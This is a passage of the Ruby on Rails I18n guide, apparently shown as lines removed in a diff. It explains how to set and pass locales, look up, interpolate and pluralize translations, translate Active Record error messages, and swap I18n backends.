-This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
-
-The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
-
-NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
-
-The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
-
-NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
-
-The default +application.rb+ files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
-
-<ruby>
-# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
-# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
-# config.i18n.default_locale = :de
-</ruby>
-
-h4. Optional: Custom I18n Configuration Setup
-
-For the sake of completeness, let's mention that if you do not want to use the +application.rb+ file for some reason, you can always wire up things manually, too.
-
-To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
-
-<ruby>
-# in config/initializers/locale.rb
-
-# tell the I18n library where to find your translations
-I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
-
-# set default locale to something other than :en
-I18n.default_locale = :pt
-</ruby>
-
-h4. Setting and Passing the Locale
-
-If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +application.rb+ or an initializer as shown above, and it will persist through the requests.
-
-However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
-
-WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "<em>RESTful</em>":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below.
-
-The _setting part_ is easy. You can set the locale in a +before_filter+ in the +ApplicationController+ like this:
-
-<ruby>
-before_filter :set_locale
-
-def set_locale
-  I18n.locale = params[:locale] || I18n.default_locale
-end
-</ruby>
-
-This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portuguese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
-
-Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
-
-h4. Setting the Locale from the Domain Name
-
-One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
-
-* The locale is an _obvious_ part of the URL.
-* People intuitively grasp in which language the content will be displayed.
-* It is very trivial to implement in Rails.
-* Search engines seem to like that content in different languages lives at different, inter-linked domains.
-
-You can implement it like this in your +ApplicationController+:
-
-<ruby>
-before_filter :set_locale
-
-def set_locale
-  I18n.locale = extract_locale_from_tld || I18n.default_locale
-end
-
-# Get locale from top-level domain or return nil if such locale is not available
-# You have to put something like:
-#   127.0.0.1 application.com
-#   127.0.0.1 application.it
-#   127.0.0.1 application.pl
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_tld
-  parsed_locale = request.host.split('.').last
-  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale  : nil
-end
-</ruby>
-
-We can also set the locale from the _subdomain_ in a very similar way:
-
-<ruby>
-# Get locale code from request subdomain (like http://it.application.local:3000)
-# You have to put something like:
-#   127.0.0.1 gr.application.local
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_subdomain
-  parsed_locale = request.subdomains.first
-  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
-end
-</ruby>
-
-If your application includes a locale switching menu, you would then have something like this in it:
-
-<ruby>
-link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
-</ruby>
-
-assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
-
-This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
-
-h4. Setting the Locale from the URL Params
-
-The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
-
-This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
-
-Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course.
-
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
-
-We can include something like this in our +ApplicationController+ then:
-
-<ruby>
-# app/controllers/application_controller.rb
-def default_url_options(options={})
-  logger.debug "default_url_options is passed options: #{options.inspect}\n"
-  { :locale => I18n.locale }
-end
-</ruby>
-
-Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
-
-You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
-
-You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way:
-
-<ruby>
-# config/routes.rb
-scope "/:locale" do
-  resources :books
-end
-</ruby>
-
-Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
-
-If you don't want to force the use of a locale in your routes you can use an optional path scope (donated by the use brackets) like so:
-
-<ruby>
-# config/routes.rb
-scope "(:locale)", :locale => /en|nl/ do
-  resources :books
-end
-</ruby>
-
-With this approach you will not get a +Routing Error+ when accessing your resources such as +http://localhost:3001/books+ without a locale. This is useful for when you want to use the default locale when one is not specified.
-
-Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +root :to => "books#index"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.)
-
-You would probably need to map URLs like these:
-
-<ruby>
-# config/routes.rb
-match '/:locale' => 'dashboard#index'
-</ruby>
-
-Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +root :to+ declaration.)
-
-NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":https://github.com/raul/translate_routes/tree/master.
-
-h4. Setting the Locale from the Client Supplied Information
-
-In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
-
-
-h5. Using +Accept-Language+
-
-One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
-
-A trivial implementation of using an +Accept-Language+ header would be:
-
-<ruby>
-def set_locale
-  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
-  I18n.locale = extract_locale_from_accept_language_header
-  logger.debug "* Locale set to '#{I18n.locale}'"
-end
-private
-def extract_locale_from_accept_language_header
-  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
-end
-</ruby>
-
-Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb.
-
-h5. Using GeoIP (or Similar) Database
-
-Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
-
-h5. User Profile
-
-You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
-
-h3. Internationalizing your Application
-
-OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
-
-Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide necessary translations for these abstracts.
-
-You most probably have something like this in one of your applications:
-
-<ruby>
-# config/routes.rb
-Yourapp::Application.routes.draw do
-  root :to => "home#index"
-end
-
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
-  def index
-    flash[:notice] = "Hello Flash"
-  end
-end
-
-# app/views/home/index.html.erb
-<h1>Hello World</h1>
-<p><%= flash[:notice] %></p>
-</ruby>
-
-!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
-
-h4. Adding Translations
-
-Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
-
-<ruby>
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
-  def index
-    flash[:notice] = t(:hello_flash)
-  end
-end
-
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p>
-</ruby>
-
-When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
-
-!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
-
-NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +&lt;span class="translation_missing"&gt;+.
-
-So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
-
-<ruby>
-# config/locales/en.yml
-en:
-  hello_world: Hello world!
-  hello_flash: Hello flash!
-
-# config/locales/pirate.yml
-pirate:
-  hello_world: Ahoy World
-  hello_flash: Ahoy Flash
-</ruby>
-
-There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
-
-!images/i18n/demo_translated_en.png(rails i18n demo translated to English)!
-
-And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
-
-!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
-
-NOTE: You need to restart the server when you add new locale files.
-
-You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
-
-h4. Passing variables to translations
-
-You can use variables in the translation messages and pass their values from the view.
-
-<ruby>
-# app/views/home/index.html.erb
-<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
-
-# config/locales/en.yml
-en:
-  greet_username: "%{message}, %{user}!"
-</ruby>
-
-h4. Adding Date/Time Formats
-
-OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
-
-<ruby>
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p
-<p><%= l Time.now, :format => :short %></p>
-</ruby>
-
-And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-
-<ruby>
-# config/locales/pirate.yml
-pirate:
-  time:
-    formats:
-      short: "arrrround %H'ish"
-</ruby>
-
-So that would give you:
-
-!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
-
-TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the "rails-i18n repository at Github":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locales/+ directory, they will automatically be ready for use.
-
-h4. Localized Views
-
-Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
-
-You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
-
-h4. Organization of Locale Files
-
-When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
-
-For example, your +config/locales+ directory could look like this:
-
-<pre>
-|-defaults
-|---es.rb
-|---en.rb
-|-models
-|---book
-|-----es.rb
-|-----en.rb
-|-views
-|---defaults
-|-----es.rb
-|-----en.rb
-|---books
-|-----es.rb
-|-----en.rb
-|---users
-|-----es.rb
-|-----en.rb
-|---navigation
-|-----es.rb
-|-----en.rb
-</pre>
-
-This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
-
-NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
-
-<ruby>
-  # config/application.rb
-  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
-
-</ruby>
-
-Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
-
-h3. Overview of the I18n API Features
-
-You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
-
-Covered are features like these:
-
-* looking up translations
-* interpolating data into translations
-* pluralizing translations
-* using safe HTML translations
-* localizing dates, numbers, currency, etc.
-
-h4. Looking up Translations
-
-h5. Basic Lookup, Scopes and Nested Keys
-
-Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
-
-<ruby>
-I18n.t :message
-I18n.t 'message'
-</ruby>
-
-The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
-
-<ruby>
-I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
-
-This looks up the +:record_invalid+ message in the Active Record error messages.
-
-Additionally, both the key and scopes can be specified as dot-separated keys as in:
-
-<ruby>
-I18n.translate "activerecord.errors.messages.record_invalid"
-</ruby>
-
-Thus the following calls are equivalent:
-
-<ruby>
-I18n.t 'activerecord.errors.messages.record_invalid'
-I18n.t 'errors.messages.record_invalid', :scope => :active_record
-I18n.t :record_invalid, :scope => 'activerecord.errors.messages'
-I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
-
-h5. Defaults
-
-When a +:default+ option is given, its value will be returned if the translation is missing:
-
-<ruby>
-I18n.t :missing, :default => 'Not here'
-# => 'Not here'
-</ruby>
-
-If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
-
-E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
-
-<ruby>
-I18n.t :missing, :default => [:also_missing, 'Not here']
-# => 'Not here'
-</ruby>
-
-h5. Bulk and Namespace Lookup
-
-To look up multiple translations at once, an array of keys can be passed:
-
-<ruby>
-I18n.t [:odd, :even], :scope => 'activerecord.errors.messages'
-# => ["must be odd", "must be even"]
-</ruby>
-
-Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
-
-<ruby>
-I18n.t 'activerecord.errors.messages'
-# => { :inclusion => "is not included in the list", :exclusion => ... }
-</ruby>
-
-h5. "Lazy" Lookup
-
-Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
-
-<yaml>
-es:
-  books:
-    index:
-      title: "Título"
-</yaml>
-
-you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot):
-
-<ruby>
-<%= t '.title' %>
-</ruby>
-
-h4. Interpolation
-
-In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
-
-All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
-
-<ruby>
-I18n.backend.store_translations :en, :thanks => 'Thanks %{name}!'
-I18n.translate :thanks, :name => 'Jeremy'
-# => 'Thanks Jeremy!'
-</ruby>
-
-If a translation uses +:default+ or +:scope+ as an interpolation variable, an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
-
-h4. Pluralization
-
-In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar, "Japanese":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja, "Russian":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
-
-The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
-
-<ruby>
-I18n.backend.store_translations :en, :inbox => {
-  :one => '1 message',
-  :other => '%{count} messages'
-}
-I18n.translate :inbox, :count => 2
-# => '2 messages'
-</ruby>
-
-The algorithm for pluralizations in +:en+ is as simple as:
-
-<ruby>
-entry[count == 1 ? 0 : 1]
-</ruby>
-
-I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
-
-If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
-
-h4. Setting and Passing a Locale
-
-The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
-
-If no locale is passed, +I18n.locale+ is used:
-
-<ruby>
-I18n.locale = :de
-I18n.t :foo
-I18n.l Time.now
-</ruby>
-
-Explicitly passing a locale:
-
-<ruby>
-I18n.t :foo, :locale => :de
-I18n.l Time.now, :locale => :de
-</ruby>
-
-The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
-
-<ruby>
-I18n.default_locale = :de
-</ruby>
-
-h4. Using Safe HTML Translations
-
-Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
-
-<ruby>
-# config/locales/en.yml
-en:
-  welcome: <b>welcome!</b>
-  hello_html: <b>hello!</b>
-  title:
-    html: <b>title!</b>
-
-# app/views/home/index.html.erb
-<div><%= t('welcome') %></div>
-<div><%= raw t('welcome') %></div>
-<div><%= t('hello_html') %></div>
-<div><%= t('title.html') %></div>
-</ruby>
-
-!images/i18n/demo_html_safe.png(i18n demo html safe)!
-
-h3. How to Store your Custom Translations
-
-The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
-
-For example a Ruby Hash providing translations can look like this:
-
-<ruby>
-{
-  :pt => {
-    :foo => {
-      :bar => "baz"
-    }
-  }
-}
-</ruby>
-
-The equivalent YAML file would look like this:
-
-<ruby>
-pt:
-  foo:
-    bar: baz
-</ruby>
-
-As you see, in both cases the top level key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
-
-Here is a "real" example from the Active Support +en.yml+ translations YAML file:
-
-<ruby>
-en:
-  date:
-    formats:
-      default: "%Y-%m-%d"
-      short: "%b %d"
-      long: "%B %d, %Y"
-</ruby>
-
-So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
-
-<ruby>
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', :scope => :date
-I18n.t :short, :scope => 'date.formats'
-I18n.t :short, :scope => [:date, :formats]
-</ruby>
-
-Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
-
-h4. Translations for Active Record Models
-
-You can use the methods +Model.model_name.human+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
-
-For example when you add the following translations:
-
-<ruby>
-en:
-  activerecord:
-    models:
-      user: Dude
-    attributes:
-      user:
-        login: "Handle"
-      # will translate User attribute "login" as "Handle"
-</ruby>
-
-Then +User.model_name.human+ will return "Dude" and +User.human_attribute_name("login")+ will return "Handle".
-
-h5. Error Message Scopes
-
-Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
-
-This gives you quite powerful means to flexibly adjust your messages to your application's needs.
-
-Consider a User model with a validation for the name attribute like this:
-
-<ruby>
-class User < ActiveRecord::Base
-  validates :name, :presence => true
-end
-</ruby>
-
-The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
-
-<ruby>
-activerecord.errors.models.[model_name].attributes.[attribute_name]
-activerecord.errors.models.[model_name]
-activerecord.errors.messages
-errors.attributes.[attribute_name]
-errors.messages
-</ruby>
-
-Thus, in our example it will try the following keys in this order and return the first result:
-
-<ruby>
-activerecord.errors.models.user.attributes.name.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
-errors.attributes.name.blank
-errors.messages.blank
-</ruby>
-
-When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
-
-For example, you might have an Admin model inheriting from User:
-
-<ruby>
-class Admin < User
-  validates :name, :presence => true
-end
-</ruby>
-
-Then Active Record will look for messages in this order:
-
-<ruby>
-activerecord.errors.models.admin.attributes.name.blank
-activerecord.errors.models.admin.blank
-activerecord.errors.models.user.attributes.name.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
-errors.attributes.name.blank
-errors.messages.blank
-</ruby>
-
-This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
-
-h5. Error Message Interpolation
-
-The translated model name, translated attribute name, and value are always available for interpolation.
-
-So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your %{attribute}"+.
-
-* +count+, where available, can be used for pluralization if present:
-
-|_. validation                 |_.with option              |_.message                  |_.interpolation|
-| confirmation    | -                         | :confirmation             | -|
-| acceptance      | -                         | :accepted                 | -|
-| presence        | -                         | :blank                    | -|
-| length          | :within, :in              | :too_short                | count|
-| length          | :within, :in              | :too_long                 | count|
-| length          | :is                       | :wrong_length             | count|
-| length          | :minimum                  | :too_short                | count|
-| length          | :maximum                  | :too_long                 | count|
-| uniqueness      | -                         | :taken                    | -|
-| format          | -                         | :invalid                  | -|
-| inclusion       | -                         | :inclusion                | -|
-| exclusion       | -                         | :exclusion                | -|
-| associated      | -                         | :invalid                  | -|
-| numericality    | -                         | :not_a_number             | -|
-| numericality    | :greater_than             | :greater_than             | count|
-| numericality    | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
-| numericality    | :equal_to                 | :equal_to                 | count|
-| numericality    | :less_than                | :less_than                | count|
-| numericality    | :less_than_or_equal_to    | :less_than_or_equal_to    | count|
-| numericality    | :odd                      | :odd                      | -|
-| numericality    | :even                     | :even                     | -|
-
-h5. Translations for the Active Record +error_messages_for+ Helper
-
-If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
-
-Rails ships with the following translations:
-
-<yaml>
-en:
-  activerecord:
-    errors:
-      template:
-        header:
-          one:   "1 error prohibited this %{model} from being saved"
-          other: "%{count} errors prohibited this %{model} from being saved"
-        body:    "There were problems with the following fields:"
-</yaml>
-
-h4. Overview of Other Built-In Methods that Provide I18n Support
-
-Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
-
-h5. Action View Helper Methods
-
-* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
-
-* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the "datetime.prompts":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
-
-* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
-
-h5. Active Record Methods
-
-* +model_name.human+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
-
-* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +model_name.human+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
-
-*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +'&nbsp;'+).
-
-h5. Active Support Methods
-
-* +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
-
-h3. Customize your I18n Setup
-
-h4. Using Different Backends
-
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
-
-That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
-
-<ruby>
-I18n.backend = Globalize::Backend::Static.new
-</ruby>
-
-You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
-
-<ruby>
-I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
-</ruby>
-
-h4. Using Different Exception Handlers
-
-The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
-
-<ruby>
-MissingTranslationData       # no translation was found for the requested key
-InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
-InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
-MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
-ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
-UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
-</ruby>
-
-The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
-
